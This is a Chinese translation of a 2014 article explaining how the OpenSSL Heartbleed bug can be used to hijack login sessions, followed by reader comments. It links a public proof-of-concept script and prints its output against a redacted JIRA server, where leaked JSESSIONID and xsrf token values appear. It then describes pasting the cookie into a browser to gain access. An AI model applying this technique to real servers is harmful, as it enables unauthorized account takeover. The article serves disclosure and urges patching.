利用 Heartbleed 漏洞劫持用户登录会话 已翻译 100%

oschina 投递于 2014/04/09 08:09 (共 3 段, 翻译完成于 04-09)
阅读 7355
收藏 84
6
加载中

Heartbleed 问题实际上比它现在能被看出来的更糟糕(其实现在看起来已经很坏了)。

Heartbleed (CVE-2014-0160) 是一个 OpenSSL 的漏洞,允许任何远程用户将服务器的一些内存进行转储。是的,这真的很糟糕。最值得关注的是,一个熟练的用户可以利用它通过一个流程将服务器用来与客户沟通的RSA私钥转储下来。发起这种攻击所要求的知识/技能水平并不是特别高,但可能超过脚本初级用户的平均水平。

那么为什么说 Heartbleed 比你想的更糟呢? 这很简单:目前可用的概念性证据的脚本允许任何客户端,在世界任何地方,进行用户登录的会话劫持攻击

赵亮-碧海情天
翻译于 2014/04/09 12:56
4

就在今天早上,被最广泛共享的概念性证明是这样一个简单的Python脚本:https://gist.github.com/takeshixx/10107280 。通过这个脚本,世界上任何人都可以从一个脆弱的服务器上转储一部分内存。

让我们看一看这个工具(它针对正在运行JIRA的问题跟踪系统的脆弱服务器的)的输出结果。为提高可读性,其中十六进制的输出部分已被删除。

 [matt@laptop ~]# python heartbleed.py jira.XXXXXXXXXXX.com
 Connecting...
 Sending Client Hello...
 Waiting for Server Hello...
 ... received message: type = 22, ver = 0302, length = 66
 ... received message: type = 22, ver = 0302, length = 3239
 ... received message: type = 22, ver = 0302, length = 331
 ... received message: type = 22, ver = 0302, length = 4
 Sending heartbeat request...
 ... received message: type = 24, ver = 0302, length = 16384
 Received heartbeat response:
.@..GET /browse/
 en_US-cubysj-198
 8229788/6160/11/
(lots of garbage)
..............Ac
 cept-Encoding: g
 zip,deflate,sdch
 ..Accept-Languag
 e: en-US,en;q=0.
 8..Cookie: atlas
 sian.xsrf.token=
 BWEK-0C0G-BSN7-V
 OZ1|3d6d84686dc0
 f214d0df1779cbe9
 4db6047b0ae5|lou
 t; JSESSIONID=33
 F4094F68826284D1
 8AA6D7ED1D554E..
 ..E.$3Z.l8.M..e5
 ..6D7ED1D554E...
 ......*..?.e.b..
WARNING: server returned more data than it should - server is vulnerable!

这肯定是转储最近一个GET请求产生的内存。你注意到上面的 JSESSIONID Cookie 了吗?这是 JIRA 用来跟踪您的HTTP会话判断你是否已经登录的方式。如果这个系统需要验证(象JIRA的安装一样),那么我就可以将这个cookie插入到我的浏览器,成为这个JIRA安装程序的合法用户。

插入 session ID cookie 到浏览器中(译注:现代浏览器的功能让人们更容易成为黑客了).

赵亮-碧海情天
翻译于 2014/04/09 12:39
1

保存修改的 cookie 之后, 我们简单地刷新一下浏览器.

重新载入安装 JIRA . 注意,我们现在登录进安装程序中了.

如上所见, 一旦我们得到一个有效的 session ID cookie, 我们就能作为内部员工访问 JIRA 安装. 检测到这种类型的攻击的唯一方法是检查每个请求通信的源地址。

该 Heartbleed 漏洞是糟糕的,而且几乎没有做什么来防止远程攻击者可能执行一个允许绕过认证的会话劫持攻击。请给您的系统立即打上补丁吧。

赵亮-碧海情天
翻译于 2014/04/09 12:16
1
本文中的所有译文仅用于学习和交流目的,转载请务必注明文章译者、出处、和本文链接。
我们的翻译工作遵照 CC 协议,如果我们的工作有侵犯到您的权益,请及时联系我们。
加载中

评论(19)

一骑单身
一骑单身

看起来,写个脚本会比较简单的样子

FGQ
FGQ

这个比较恐怖!

怪才
怪才

引用来自“JohanZ”的评论

通信的源地址 也就是IP 也不好判断,很多用户网络很多IP在切换使用,绑定了就掉线了

安全与便捷往往都有一定的矛盾的

摆渡一夏
摆渡一夏

坑啊,现在才出教程

leejo
leejo

O(∩_∩)O

IdleMan
IdleMan

引用来自“我喜欢吴佳旻”的评论

大网站才用ssl吧,大网站又基本都打上了补丁,没多少利用价值了

漏洞都出了好久了,只是最近才公布

JohanZ
JohanZ

通信的源地址 也就是IP 也不好判断,很多用户网络很多IP在切换使用,绑定了就掉线了

ExtremeTalk
ExtremeTalk

socket.error: [Errno 111] Connection refused

zzy_zzy
zzy_zzy

‘JIRA的票务跟踪系统’.....

R
RuralHunter

这翻译杠杠的,‘JIRA的票务跟踪系统’,‘JIRA 安装’。。。

返回顶部
顶部